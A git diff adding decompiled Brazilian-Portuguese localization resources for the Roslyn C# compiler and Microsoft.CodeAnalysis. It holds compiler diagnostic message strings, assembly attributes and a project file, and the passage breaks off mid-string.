{0}: não é possível converter de "{1}" para "{2}" + As especificações de argumentos nomeados devem aparecer depois que todos os argumentos fixos forem especificados. Use a versão de linguagem {0} ou maior permitir argumentos nomeados que não estejam à direita. + A cadeia de caracteres deve começar com o caractere de aspa: " + As restrições para parâmetro de tipo "{0}" do método "{1}" deve coincidir com as restrições para o parâmetro de tipo "{2}" do método de interface "{3}". Ao invés disso, considere usar uma implementação de interface explícita. + Não é possível retornar a variável de intervalo '{0}' por referência + A anulabilidade de tipos de referência em tipo não corresponde ao membro implementado '{0}'. + Código sem segurança só pode aparecer em iteradores + Um interceptador não pode ser marcado com 'UnmanagedCallersOnlyAttribute'. + O operador typeof não pode ser usado em um tipo de referência anulável + O construtor __arglist só é válido dentro de um método de argumento variável + Tipo de expressão condicional não pode ser determinado porque "{0}" e "{1}" se convertem implicitamente um no outro + Um valor nulo possível não pode ser usado para um tipo marcado com [NotNull] ou [DisallowNull] + manipuladores de cadeia de caracteres interpolada + 'new' não pode ser usado com o tipo da tupla. Use uma expressão literal da tupla no lugar. + Token inesperado '{0}' + A expressão deve ser do tipo '{0}' para corresponder ao valor de referência alternativo + Não é possível usar a variável local ou a função local '{0}' declarada em uma instrução de nível superior neste contexto. + "{0}": não é possível derivar do tipo sealed "{1}" + O modificador 'ref' do argumento {0} correspondente ao parâmetro 'in' é equivalente a 'in'. Considere usar 'in'. + stackalloc em expressões aninhadas + O ponto de entrada da depuração deve ser uma definição de um método declarado na compilação atual. + Não há nenhuma ordem definida entre os campos em várias declarações de estrutura parcial + Presumindo que a referência de assembly "{0}" usada por "{1}" corresponde a identidade "{2}" de "{3}", talvez seja necessário fornecer a diretiva de runtime + A anulabilidade de tipos de referência em tipo de retorno não corresponde ao membro implementado. + Não é possível converter o grupo de métodos no ponteiro de função (Está faltando um '&'?) + Comentário XML tem uma tag typeparam para "{0}", mas não há parâmetro de tipo por esse nome + Parâmetro do atributo "{0}" ou "{1}" deve ser especificado. + Parâmetro do atributo "{0}" deve ser especificado. + método apto para expressão + Não é possível usar o parâmetro de construtor primário "{0}" que tem o tipo ref-like dentro de um membro de instância + O atributo CallerFilePathAttribute não terá efeito porque ele se aplica a um membro que é usado em contextos que não permitem o uso de argumentos opcionais + Não é possível compilar módulos de rede ao usar /refout ou /refonly. + O tipo "{3}" não pode ser usado como parâmetro de tipo "{2}" no tipo ou método genérico "{0}". O tipo "{3}" que permite valores nulos não satisfaz a restrição de "{1}". Os tipos que permitem valores nulos não satisfazem as restrições de interface. + XML malformado no arquivo de comentários incluído + Namespace "{1}" contém uma definição em conflito com o alias "{0}" + Nome de assembly inválido: {0} + Uma árvore de expressão não pode conter um descarte. + não contém o padrão + Argument should be passed with the 'in' keyword + Usar 'is' para testar a compatibilidade com 'dynamic' é essencialmente o mesmo que o teste de compatibilidade com 'Object' + O método parcial '{0}' precisa ter uma parte de implementação porque ele tem modificadores de acessibilidade. + Uma diretiva de 'usando namespace' pode apenas ser aplicada a namespaces; '{0}' é um tipo, não um namespace. Considere uma diretiva 'usando estático' + Os membros do campo somente leitura '{0}' não podem ser usados como um valor ref ou out (a não ser em um construtor) + Erro de sintaxe de linha de comando: Formato de Guid inválido "{0}" para a opção "{1}" + Não use '_' para referir-se ao tipo em uma expressão is-type. + Um literal padrão 'default' não é válido como um padrão. Use outro literal (por exemplo, '0' ou 'null') conforme o necessário. Para corresponder a tudo, use um padrão de descarte '_'. + Em atributos cref, tipos aninhados de tipos genéricos devem ser qualificados. + O CallerLineNumberAttribute só pode ser aplicado a parâmetros com valores padrão + O resultado da expressão é sempre '{0}', pois um valor do tipo '{1}' nunca é igual a "null" do tipo '{2}' + Não é possível retornar um valor de um iterador. Use a instrução yield return para retornar um valor ou yield break para finalizar a iteração. + O gerador não pôde gerar a origem. + 'disable' ou 'restore' esperado + A opção '{0}' deve ser um caminho absoluto. + Versão inválida {0} para /subsystemversion. A versão deve ser 6.02 ou posterior para ARM ou AppContainerExe e 4.00 ou superior + Declarador de membro de inicializador inválido + restrições de tipo genérico enum + A opção pathmap foi formatada incorretamente. + Tipo de buffer de tamanho fixo deve ser um dos valores a seguir: bool, byte, short, int, long, char, sbyte, ushort, uint, ulong, float ou doublé + Essa combinação de argumentos para '{0}' não é permitida porque ela pode expor as variáveis referenciadas pelo parâmetro '{1}' fora do seu escopo de declaração + O valor de constante "{0}" não pode ser convertido em "{1}" + O argumento {0} não deve ser transmitido com a palavra-chave '{1}' + A propriedade ou o indexador "{0}" não pode ser usado neste contexto porque o acessador get é inacessível + funções locais + Não se pode exigir a devolução de propriedades de referência. + tuplas + alias externo + Elemento XML include inválido -- {0} + Um parâmetro de tipo que permite valor nulo precisa ser conhecido como um tipo de valor ou um tipo de referência não anulável, a menos que seja usada a versão da linguagem '{0}' ou superior. Considere alterar a versão da linguagem ou adicionar uma restrição 'class', 'struct' ou de tipo. + O valor do alinhamento tem uma magnitude que pode resultar em uma grande cadeia de caracteres formatada + Uma árvore de expressão não pode conter um acesso ou conversão de matriz embutida + O tipo caught ou thrown deve ser derivado de System.Exception + Nenhum arquivo de origem especificado + O atributo '{0}' é ignorado quando a autenticação pública é especificada. + Buffer de tamanho fixo de comprimento {0} e tipo "{1}" é muito grande + "{0}" não pode implementar "{1}" porque o idioma não dá suporte a ele + O recurso '{0}' não está disponível em C# 8.0. Use a versão de linguagem {1} ou superior. + O recurso '{0}' não está disponível no C# 9.0. Use a versão da linguagem {1} ou superior. + O recurso '{0}' não está disponível em C# 2. Use a versão de linguagem {1} ou superior. + O recurso '{0}' não está disponível em C# 3. Use a versão de linguagem {1} ou superior. + O recurso '{0}' não está disponível em C# 1. Use a versão de linguagem {1} ou superior. + O recurso '{0}' não está disponível em C# 6. Use a versão de linguagem {1} ou superior. + O recurso '{0}' não está disponível em C# 7.0. Use a versão de linguagem {1} ou superior. + O recurso '{0}' não está disponível em C# 4. Use a versão de linguagem {1} ou superior. + O recurso '{0}' não está disponível em C# 5. Use a versão de linguagem {1} ou superior. + O método '{0}' especifica uma restrição 'struct' para o parâmetro de tipo '{1}', mas o parâmetro de tipo correspondente '{2}' do método substituído ou implementado explicitamente '{3}' não é um tipo de valor não anulável. + opção /LIB + O atributo Conditional não é válido em "{0}" porque seu tipo de retorno não é nulo + O interceptador não deve ter um parâmetro 'this' '{0}' não tem um parâmetro 'this'. + padrão de tipo + Um recurso de instrução using do tipo "{0}" não pode ser usado em métodos assíncronos ou expressões lambda assíncronas. + O atributo DllImport não pode ser aplicado a um método que seja genérico ou esteja contido em um método ou tipo genérico. + O Construtor struct sem parâmetros deve ser 'Public'. + Uso de variável local não atribuída "{0}" + Talvez uma propriedade ou um indexador sem retorno de ref não pode ser usado como um valor out ou ref + O membro substitui o membro base com vários candidatos à substituição no tempo de execução + Não é possível retornar '{0}' por referência, porque ele é um '{1}' + Ignorar tipos de carregamento no assembly analisador que falharem devido a uma ReflectionTypeLoadException + O campo de elemento de matriz embutido não pode ser declarado como necessário, somente leitura, volátil ou como buffer de tamanho fixo. + Um método marcado como [DoesNotReturn] não deve ser retornado. + Apenas uma unidade de compilação pode ter instruções de nível superior. + Os parâmetros ou locais do tipo '{0}' não podem ser declarados nos métodos async ou expressões async lambda. + Nenhuma declaração de definição encontrada para implementar a declaração de método parcial "{0}" + implementação de interface padrão + Referência ao tipo "{0}" declara que ele está definido neste assembly, mas não está definido no código-fonte ou quaisquer módulo adicionados + Não é possível passar null para nome de assembly amigável + O valor padrão especificado não tem efeito porque ele se aplica a um membro que é usado em contextos que não aceitam argumentos opcionais + O valor retornado precisa ser não nulo porque o parâmetro não é nulo. + Bloco switch vazio + '{0}': um tipo abstrato não pode ser selado nem estático + Apresentar um método 'Finalize' pode interferir na invocação do destruidor + O objeto 'this' não pode ser usado antes que todos os seus campos serem atribuídos. Considere atualizar para a versão de linguagem '{0}' para auto-padrão dos campos não atribuídos. + A sequência de caracteres “@” não é permitida. Uma cadeia de caracteres verbatim ou um identificador só podem ter um caractere “@” e uma cadeia de caracteres bruta não pode ter nenhum. + O arquivo de origem só pode conter uma declaração de namespace de escopo de arquivo. + A expressão fornecida sempre corresponde ao padrão fornecido. + Forneça um inicializador em uma declaração de instrução fixed ou using + O tipo de retorno para o operador ++ ou -- deve corresponder ao tipo de parâmetro ou ser derivado do tipo de parâmetro + Variância inválida: O parâmetro do tipo "{1}" deve ser {3} válido em "{0}". "{1}" é {2}. + Os membros necessários não são permitidos no nível superior de um script ou envio. + "{0}": conversões definidas pelo usuário para ou do tipo dinâmico não são permitidas + AppConfigPath deve ser absoluto. + Os atributos direcionados a campo em propriedades automáticas não são compatíveis com a versão da linguagem {0}. Use a versão da linguagem {1} ou superior. + '{0}': o evento abstrato não pode usar a sintaxe do acessador de eventos + O atributo [EnumeratorCancellation] não pode ser usado em vários parâmetros + O uso do membro do resultado de '{0}' nesse contexto pode expor variáveis referenciadas pelo parâmetro '{1}' fora de seu escopo de declaração + O CallerFilePathAttribute aplicado ao parâmetro "{0}" não terá efeito. Ele é substituído pelo CallerLineNumberAttribute. + Instrução empty possivelmente incorreta + lambda attributes + Uma expressão lambda com atributos não pode ser convertida em uma árvore de expressão + O tipo "{3}" não pode ser usado como parâmetro de tipo "{2}" no tipo ou método genérico "{0}". Não há conversão boxing ou conversão de parâmetro de tipo de "{3}" em "{1}". + XML mal formada no arquivo de comentários incluído -- "{0}" + Os padrões relacionais não podem ser usados para um NaN de ponto flutuante. + Propriedades autoimplementadas devem substituir todos os acessadores de propriedade substituída. + A palavra-chave “enum” não pode ser usada como uma restrição. Você quis dizer “struct, System.Enum”? + A subexpressão não pode ser usada em um argumento para nameof. + Ramificações de um operador condicional de referência não podem se referir a variáveis com escopos de declaração incompatíveis + Um campo de buffer de tamanho fixo deve ter especificador de tamanho de matriz após o nome do campo + ponteiro de função + diretiva de #aviso + Nenhuma sobrecarga para o método "{0}" leva {1} argumentos + Não é possível aplicar a indexação com [] a uma expressão do tipo "{0}" + O valor da diretiva de #line está ausente ou fora do intervalo + Attribute parameter 'SizeConst' must be specified. + "{0}" não é uma restrição válida. Um tipo usado como uma restrição deve ser uma interface, uma classe não selada ou um parâmetro de tipo. + Referência ambígua no atributo cref: "{0}". Supondo "{1}", mas também poderia ter correspondido a outras sobrecargas, incluindo "{2}". + Classe "{0}" não pode ter várias classes base: "{1}" e "{2}" + "{0}" substitui Object.Equals(object o), mas não substitui Object.GetHashCode() + O interceptador não pode ter um caminho de arquivo 'null'. + Diretiva de uso desnecessária. + Não foi possível localizar um método '{0}' acessível com a assinatura esperada: um método estático com um único parâmetro do tipo 'ReadOnlySpan<{1}>' e tipo de retorno '{2}'. + O nome "{0}" não existe no contexto atual + Nenhum loop delimitador a partir do qual quebrar ou continuar + Implementação de interface explícita "{0}" corresponde a mais de um membro de interface. Qual membro de interface é na verdade escolhido é dependente de implementação. Ao invés, considere o uso de uma implementação não explícita. + A nulidade de tipos de referência no tipo de parâmetro '{0}' não corresponde ao membro implementado '{1}' (possivelmente devido a atributos de nulidade). + Referência à entidade indefinida "{0}". + O comentário XML tem XML com formação incorreta -- "{0}" + As propriedades que retornam por referência devem ter um acessador get + Os membros atribuídos com 'ObsoleteAttribute' não devem ser requeridos, a menos que o tipo que o contém seja obsoleto ou que todos os construtores estejam obsoletos. + Acessibilidade inconsistente: interface base "{1}" é menos acessível do que interface "{0}" + Uma árvore de expressão não pode conter uma expressão de método anônimo + expressão lambda + O parâmetro é capturado no estado do tipo delimitador e seu valor também é passado para o construtor base. O valor também pode ser capturado pela classe base. + Definição de namespace ou tipo, ou final do arquivo esperado + Literal de cadeia de caracteres não finalizado + Tipo de restrição inválido. Um tipo usado como restrição deve ser uma interface, uma classe não sealed ou um parâmetro de tipo. + O segundo operando de um operador 'is' ou 'as' não pode ser do tipo estático + A expressão sempre causa uma System.NullReferenceException porque o valor padrão do tipo é nulo + UnscopedRefAttribute não pode ser aplicado a uma implementação de interface. + is' e 'as' não são válidos em tipos de ponteiro + O parâmetro de tipo tem o mesmo nome que o parâmetro de tipo do tipo externo + Não há aspas suficientes para a literal da cadeia de caracteres bruta. + "{0}": Interfaces em conformidade com CLS devem ter somente membros em conformidade com CLS + Uma expressão de método anônimo não pode ser convertida em uma árvore de expressão + Arquivo de origem especificado várias vezes + Foi usada uma sintaxe incorreta em um comentário. + Não há suporte para um método de Adição de extensão para um inicializador de coleção em uma expressão lambda. + O "{0}" atributo é válido somente em um indexador que não seja uma declaração de membro de interface explícita + "{0}" não é uma classe de atributo + O tipo não pode ser usado como parâmetro de tipo no tipo ou método genérico. A nulidade do argumento de tipo não corresponde à restrição 'notnull'. + Não é possível usar o tipo anônimo em uma expressão constante + Expressões e instruções podem ocorrer somente em um corpo do método + '{0}' tipo não é válido para 'using static'. Somente uma classe, struct, interface, enumeração, delegado ou namespace podem ser usados. + Tipo de "{0}" não tem conformidade com CLS + O operador '{0}' é ambíguo em operandos '{1}' e '{2}' + Tipo de argumento "{0}" não tem conformidade com CLS + O parâmetro params deve ser uma matriz dimensional única + O ponto de entrada do programa é o código global. Ignorando o ponto de entrada '{0}'. + Não é possível chamar o membro de base abstrata: '{0}' + Não é possível converter um valor nulo no parâmetro de tipo "{0}" porque ele poderia ser um tipo de valor não anulável. É recomendável o uso de "default({0})". + O recurso não faz parte da especificação de linguagem ISO C# padronizada e pode não ser aceito por outros compiladores + '&' nos grupos de métodos não pode ser usado em árvores de expressão + O tipo de um local declarado em uma instrução fixed não pode ser um tipo de ponteiro de função. + Tipos de parâmetro {0} e tipos de referência de parâmetro {1} fornecidos. Essas matrizes precisam ter o mesmo tamanho. + Não é possível retornar um membro do '{0}' local por referência porque ele não é um local ref + O campo não anulável precisa conter um valor não nulo ao sair do construtor. Considere declará-lo como anulável. + "{0}" não tem classe base e não pode chamar um construtor base + A melhor correspondência de método sobrecarregado para "{0}" tem assinatura errada para o elemento do inicializador. O Add inicializável deve ser um método de instância acessível. + A autenticação pública foi especificada e requer uma chave pública, mas nenhuma chave pública foi especificada. + A nulidade de tipos de referência no tipo de parâmetro não corresponde ao membro implementado implicitamente (possivelmente devido a atributos de nulidade). + A nulidade de tipos de referência no tipo de retorno não corresponde ao membro implementado '{0}' (possivelmente devido a atributos de nulidade). + ) esperado + Arquivo de origem "{0}" não pode ser encontrado. + propriedade + Valor de '{0}' inválido: '{1}' para C# {2}. Use a versão da linguagem '{3}' ou superior. + Não é possível retornar '{0}' por referência, porque ele é somente leitura + Não é possível usar um método de extensão com um receptor como destino de um operador '&'. + O CallerArgumentExpressionAttribute aplicado ao parâmetro '{0}' não terá nenhum efeito. Ele é substituído pelo CallerFilePathAttribute. + Função anônima convertida para um representante de retorno void não pode retornar um valor + É ilegal usar o tipo 'dinâmico' em um padrão. + Não é possível usar {0} '{1}' como um valor de referência ou out porque ela é uma variável somente leitura + Destruidores e object.Finalize não podem ser chamados diretamente. Chame IDisposable.Dispose, se disponível. + '{0}' não pode implementar o membro de interface '{1}' no tipo '{2}' porque o runtime de destino não dá suporte aos membros abstratos estáticos em interfaces. + Não é possível interceptar o método '{0}' com o interceptador '{1}' porque as assinaturas não correspondem. + Número excessivo de caracteres no literal de caractere + A SyntaxTree não faz parte da compilação + Valores de soma de verificação #pragma diferentes foram fornecidos + Valor SecurityAction "{0}" é inválido para o atributo PrincipalPermission + Declarador de matriz incorreto: para declarar uma matriz gerenciada, o especificador de classificação antecede o identificador de variável. Para declarar um campo de buffer de tamanho fixo, use a palavra-chave fixed antes do tipo de campo. + Declarações parciais de "{0}" devem ter os mesmos nomes de parâmetro de tipo e modificadores de variância na mesma ordem + "{0}" não pode derivar de classe especial "{1}" + Como '{0}' é um método assíncrono que retorna '{1}', uma palavra-chave de retorno não deve ser seguida por uma expressão de objeto + Não é possível usar '{0}' como um valor ref ou out porque ele é somente leitura + O inicializador de objeto ou coleção desreferencia implicitamente o membro possivelmente nulo '{0}'. + Não foi possível encontrar uma implementação do padrão de consulta para o tipo de origem "{0}". "{1}" não encontrado. + O CallerMemberNameAttribute só pode ser aplicado a parâmetros com valores padrão + Conflitos de tipo com o namespace importado + Comentário XML tem uma tag param para "{0}", mas não há parâmetro por esse nome + O parâmetro de tipo tem o mesmo tipo que o parâmetro de tipo do método externo. + O parâmetro '{0}' não é fornecido explicitamente, mas é usado como um argumento para a conversão do manipulador de cadeia de caracteres interpolada no parâmetro '{1}'. Especifique o valor de '{0}' antes de '{1}'. + O comentário XML ausente não foi encontrado para o tipo ou membro visível publicamente + O assembly '{0}' contendo o tipo '{1}' referencia o .NET Framework, mas não há suporte para isso. + A comparação com constante integral é inútil. A constante está fora do intervalo do tipo + O tipo não pode ser usado como parâmetro de tipo no tipo ou método genérico. A anulabilidade do argumento de tipo não corresponde ao tipo de restrição. + O tipo define os operadores == ou !=, mas não substitui o Object.GetHashCode() + O atributo será ignorado em prol da instância que aparece na fonte + Arquivo de origem "{0}" não pode ser aberto -- {1} + Atributo "{0}" não é válido neste tipo de declaração. Ele é válido somente em "{1}" declarações. + Uma árvore de expressão não pode conter uma atribuição de união nula + Um local ou um parâmetro denominado "{0}" não pode ser declarado neste escopo porque esse nome é usado em um escopo delimitador de local para definir um local ou parâmetro + "{0}" é do tipo "{1}". Um valor de parâmetro padrão de um tipo de referência diferente de cadeia de caracteres pode somente ser inicializado com null + Não é possível inserir tipos de interoperabilidade do assembly "{0}" porque ele está sem o atributo "{1}" ou o atributo "{2}". + A nulidade de tipos de referência no tipo de parâmetro '{0}' de '{1}' não corresponde ao delegado de destino '{2}' (possivelmente devido a atributos de nulidade). + Tipo de restrição "{0}" não tem conformidade com CLS + Uma construção de manipulador de cadeia de caracteres interpolada não pode usar dinâmica. Construa manualmente uma instância de '{0}'. + Campo estático ou propriedade "{0}" não pode ser atribuído a um inicializador de objeto + Duplicar atributo "{0}" + Atributo "{0}" é somente válido em classes derivadas de System.Attribute + As ramificações do operador condicional ref referem-se a variáveis com escopos de declaração incompatíveis + Sequência de caracteres inesperada '...' + A anulabilidade em restrições para parâmetro de tipo '{0}' do método '{1}' não corresponde às restrições para o parâmetro de tipo '{2}' do método de interface '{3}'. Em vez disso, considere a possibilidade de usar uma implementação de interface explícita. + Comparação com nulo do tipo struct sempre produz 'false' + O atributo RequiredAttribute não é permitido em tipos C# + São permitidos somente 65534 locais, incluindo os gerados pelo compilador + Um campo volátil não deve normalmente ser usado como um valor ref ou out, uma vez que ele não é tratado como volátil. Há exceções, como ao chamar uma API interligada. + A anulabilidade de tipos de referência em tipo não corresponde ao membro substituído. + Não é possível inserir o tipo de interoperabilidade "{0}" encontrado em ambos os assemblies "{1}" e "{2}". Considere configurar a propriedade "Incorporar Tipos de Interoperabilidade" como falsa. + o caminho é muito longo ou inválido + "{1} {0}" tem o tipo de retorno incorreto + O membro deve ter um valor não nulo durante a saída em alguma condição. + A anulabilidade de tipos de referência em tipo de parâmetro '{0}' não corresponde ao membro implementado '{1}'. + O tipo não implementa o padrão de coleção; o membro possui a assinatura incorreta + assíncrono principal + O membro '{0}' não foi encontrado no tipo '{1}' do assembly '{2}'. + Tag de fim não era esperada neste local. + "{1}": não pode derivar da classe static "{0}" + Os métodos atribuídos com 'UnmanagedCallersOnly' não podem ter parâmetros de tipo genérico e não podem ser declarados em um tipo genérico. + Acessar um membro em "{0}" pode causar uma exceção de runtime porque é um campo de uma classe marshaling por referência + Expressão esperada + O acesso Friend foi concedido por '{0}', mas a chave pública do assembly de saída ('{1}') não corresponde àquela especificada pelo atributo InternalsVisibleTo no assembly de concessão. + "{0}" é um tipo sem suporte no idioma + O método inicializador de módulo '{0}' deve ser estático e não virtual, não deve ter parâmetros e deve retornar 'void' + O método '{0}' com um bloco do iterador deve ser 'async' para retornar '{1}' + A expressão deve ser implicitamente convertível em Booliano ou o tipo "{0}" deve definir o operador"{1}". + O objeto pode ser descartado mais de uma vez + O CallerMemberNameAttribute aplicado ao parâmetro "{0}" não terá efeito. Ele é substituído pelo CallerLineNumberAttribute. + A referência de assembly é inválida e não pode ser resolvida + O tipo de parâmetro para o operador ++ ou -- deve ser do tipo recipiente + O uso de propriedade auto-implementada possivelmente não atribuída '{0}'. Considere atualizar para a versão de linguagem '{1}' para auto-padrão da propriedade. + Conversão de literal nula ou possível valor nulo em tipo não anulável. + Nenhum valor de RuntimeMetadataVersion foi encontrado + Uma referência de objeto é necessária para o campo, o método ou a propriedade "{0}" não estática + Não é possível retornar por referência um membro do parâmetro '{0}' por meio de um parâmetro ref; só pode ser retornado em uma instrução return + O tipo ou membro não pode ser marcado como em comformidade com CLS porque o assembly não possui um atributo CLSCompliant + O atributo AsyncMethodBuilder não é permitido em métodos anônimos sem um tipo de retorno explícito. + Convertendo grupo de método em tipo não delegado + "{0}": tipo de retorno deve ser "{2}" para corresponder ao membro substituído "{1}" + Uma variável using não pode ser usada diretamente em uma seção de switch (considere o uso de chaves). + Envio pode ter no máximo uma árvore de sintaxe. + Nenhuma sobrecarga de "{0}" corresponde ao representante "{1}" + O identificador "{0}" é ambíguo entre o tipo "{1}" e o parâmetro "{2}" neste contexto. + Tipo inválido para o parâmetro no atributo cref do comentário XML + O nome '{0}' não identifica o elemento de tupla '{1}'. + Não é possível especificar o atributo DefaultMember em um tipo que contém um indexador + O nível de aviso precisa ser igual ou superior a zero + indexador apto para expressão + A função local '{0}' deve declarar um corpo porque não está marcado como 'static extern'. + O parâmetro {0} tem o valor padrão '{1:10}' em lambda, mas '{2:10}' no tipo delegado de destino. + "{0}": não é possível derivar do tipo dinâmico + O método parcial '{0}' precisa ter modificadores de acessibilidade porque ele tem um tipo de retorno não nulo. + Uma árvore de expressão da expressão lambda não pode conter um operador de união com um lado esquerdo literal padrão ou nulo + '{0}': o tipo usado em uma instrução using assíncrona deve ser implicitamente conversível em 'System.IAsyncDisposable' ou implementar um método 'DisposeAsync' adequado. + Erro de sintaxe, "{0}" esperado + '{2}' não pode satisfazer a restrição 'new()' no parâmetro '{1}' no tipo genérico ou método '{0}' porque '{2}' tem membros requeridos. + A expressão switch não lida com alguns valores do seu tipo de entrada (sem limitação) que envolvem um valor de enumeração não nomeado. Por exemplo, o padrão '{0}' não está coberto. + O argumento do tipo '{0}' não pode ser usado para o parâmetro '{2}' do tipo '{1}' em '{3}' devido a diferenças na nulidade dos tipos de referência. + Este não é um local de atributo reconhecido + O uso do resultado de '{0}' nesse contexto pode expor variáveis referenciadas por parâmetro '{1}' fora de seu escopo de declaração + O inicializador de elemento não pode estar vazio + A chamada para um membro que não é readonly '{0}' de um membro 'readonly' resulta em uma cópia implícita de '{1}'. + O tipo da expressão na cláusula {0} está incorreto. Inferência de tipos falhou na chamada para "{1}". + filtro de exceção + Pelo menos uma instrução de nível superior não pode estar vazia. + Declarações de método parciais de '{0}' têm restrições inconsistentes para o parâmetro de tipo '{1}' + \ No newline at end of file diff --git a/decompiled/Libraries/pt-br.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs b/decompiled/Libraries/pt-br.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..f1cc5cb --- /dev/null +++ b/decompiled/Libraries/pt-br.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs @@ -0,0 +1,11 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.800.23.55801")] +[assembly: AssemblyInformationalVersion("4.8.0-7.23558.1+e091728607ca0fc9efca55ccfb3e59259c6b5a0a")] +[assembly: AssemblyProduct("Microsoft.CodeAnalysis.CSharp")] +[assembly: AssemblyTitle("Microsoft.CodeAnalysis.CSharp")] +[assembly: AssemblyVersion("4.8.0.0")] diff --git a/decompiled/Libraries/pt-br.microsoft.codeanalysis.csharp.resources/costura.pt-br.microsoft.codeanalysis.csharp.resources.csproj b/decompiled/Libraries/pt-br.microsoft.codeanalysis.csharp.resources/costura.pt-br.microsoft.codeanalysis.csharp.resources.csproj new file mode 100644 index 0000000..5be603d --- /dev/null +++ b/decompiled/Libraries/pt-br.microsoft.codeanalysis.csharp.resources/costura.pt-br.microsoft.codeanalysis.csharp.resources.csproj @@ -0,0 +1,17 @@ + + + Microsoft.CodeAnalysis.CSharp.resources + False + netstandard2.0 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/pt-br.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.pt-BR.resx b/decompiled/Libraries/pt-br.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.pt-BR.resx new file mode 100644 index 0000000..b4516e7 --- /dev/null +++ b/decompiled/Libraries/pt-br.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.pt-BR.resx @@ -0,0 +1,248 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089struct + elemento é esperado + Imagem PE não está disponível. + Tamanho inválido de token de chave pública. + O arquivo adicional não pertence ao 'CompilationWithAnalyzers' subjacente. + Vários arquivos de configuração do analisador global definem a mesma chave '{0}' na seção '{1}'. Essa definição foi removida. A chave foi definida pelos seguintes arquivos: '{2}' + O caminho temporário para assinatura de arquivo herdado não está disponível. + evento + O assembly contendo o tipo '{0}' faz referência a .NET Framework, mas não há suporte para isso. + Referência do assembly: '{0}' + Concede IVT ao assembly atual: {1} + Concede IVTs a: + O analisador '{0}' contém um descritor nulo em seu 'SupportedDiagnostics'. + O parâmetro '{0}' deve ser um símbolo desta compilação ou um assembly referenciado. + Versões de idioma inconsistentes + Solucionador de referência deve o fluxo não nulo legível. + Opções de compilação inválidas -- envio não pode ser assinado. + Uma chave no pathMap está vazia. + Gravidade inválida no arquivo de configuração do analisador. + O arquivo de conjunto de regras tem regras duplicadas para "{0}" com ações "{1}" e "{2}". + tipo deve ser uma subclasse de SyntaxAnnotation. + Valor muito grande para ser representado como um inteiro não assinado de 30 bits. + Não é possível atribuir alias a um módulo. + Caracteres inválidos no nome de cultura do assembly + módulo + método + O gravador PDB do Windows não dá suporte à compilação determinística: '{0}' + Analisador + O parâmetro '{0}' deve ser um 'INamedTypeSymbol' ou um 'IAssemblySymbol'. + Suprimir os seguintes diagnósticos para desabilitar este analisador: {0} + classe + Aviso: não foi possível habilitar o JIT multicore devido à exceção: {0}. + Só há suporte para textos inseridos ao emitir um PDB. + Cópia de módulo não pode ser usada para criar metadados do assembly. + O nome da seção de configuração do analisador global '{0}' é inválido porque não é um caminho absoluto. A seção será ignorada. A seção foi declarada no arquivo: '{1}' + O fluxo de ícones não está no formato esperado. + O diagnóstico '{0}' recebeu uma gravidade inválida '{1}' no arquivo de configuração do analisador em '{2}'. + Nome do assembly: '{0}' + Chaves Públicas: + Arquivo não encontrado. + O atributo {0} tem um valor inválido de {1}. + Recursos do Win32, supostos como estando no formato de objeto COFF, têm um tamanho de seção inválido. + O SourceText com hintName '{0}' deve ter um conjunto de codificação explícito. + Formato de arquivo de recurso não reconhecido. + parâmetro + propriedade, indexador + O elemento {0} não tem um atributo chamado {1}. + MetadataReference '{0}' não encontrada para remoção. + Nome de módulo inválido especificado no módulo de metadados "{0}": "{1}" + Nome contém caracteres inválidos. + Um nome de idioma não pode ser especificado para essa opção. + O fluxo de PDB não deve ser fornecido ao inserir PDB no fluxo PE. + Nada + O fluxo de PDB não deve ser fornecido ao emitir somente metadados. + O hintName '{0}' contém um caractere inválido '{1}' na posição {2}. + Falha no Driver do Analisador + Vários arquivos de configuração do analisador global definem a mesma chave. Essa definição foi removida. + Deve incluir membros privados a menos que esteja emitindo um assembly de referência. + Os argumentos para a opção '/keepalive' abaixo de -1 são inválidos. + A operação especificada tem um pai não nulo. + O nome da seção de configuração do analisador global é inválido porque não é um caminho absoluto. A seção será ignorada. + Caminho absoluto esperado. + Dados inválidos no deslocamento {0}: {1}{2}*{3}{4} + Não é possível determinar a causa específica da falha. + Não há suporte a referências a documentos XML. + O fluxo é muito longo. + Tipo de retorno não pode ser um tipo de valor, ponteiro, by-ref ou tipo genérico aberto + O tipo subjacente de uma tupla deve ser compatível com a tupla. + Ocorreu uma exceção com o seguinte contexto: +{0} + O tipo '{0}' não é compreendido pelo associador de serialização. + Recursos da árvore de sintaxe inconsistentes + Não é possível inserir tipos de interoperabilidade do módulo. + SourceText não pode ser inserido. Forneça a codificação ou canBeEmbedded=true durante a construção. + A transmissão contém dados inválidos + Tempo (s) + O módulo tem atributos inválidos. + A árvore de sintaxe não pertence à "Compilação" subjacente. + Hash inválido. + 'A opção '/keepalive' só é válida com a opção '/shared'. + A inclusão de membros privados não deve ser usada ao emitir para a saída do assembly secundário. + Imprimindo informações de 'InternalsVisibleToAttribute' na compilação atual e todos os assemblies referenciados. + Caminho retornado por {0}.ResolveStrongNameKeyFile deve ser absoluto: "{1}" + Não foi possível localizar o arquivo de conjunto de regras '{0}'. + Assinatura de assembly não tem suporte. + O diagnóstico relatado '{0}' tem um local de origem '{1}' no arquivo '{2}', que está fora do arquivo fornecido. + O nó a ser rastreado não é um descendente da raiz. + O bloqueio de operação fornecido não pertence ao contexto de análise atual. + O item especificado não é elemento de uma lista. + delegar + Não é possível gravar no fluxo. + O valor para o argumento '/shared:' não deve ser vazio + O leitor de desserialização para '{0}' lê o número incorreto de valores. + O analisador '{0}' contém um descritor nulo em seu 'SupportedSuppressions'. + Não é possível criar uma referência para um envio. + Caminho retornado por {0}.ResolveMetadataFile 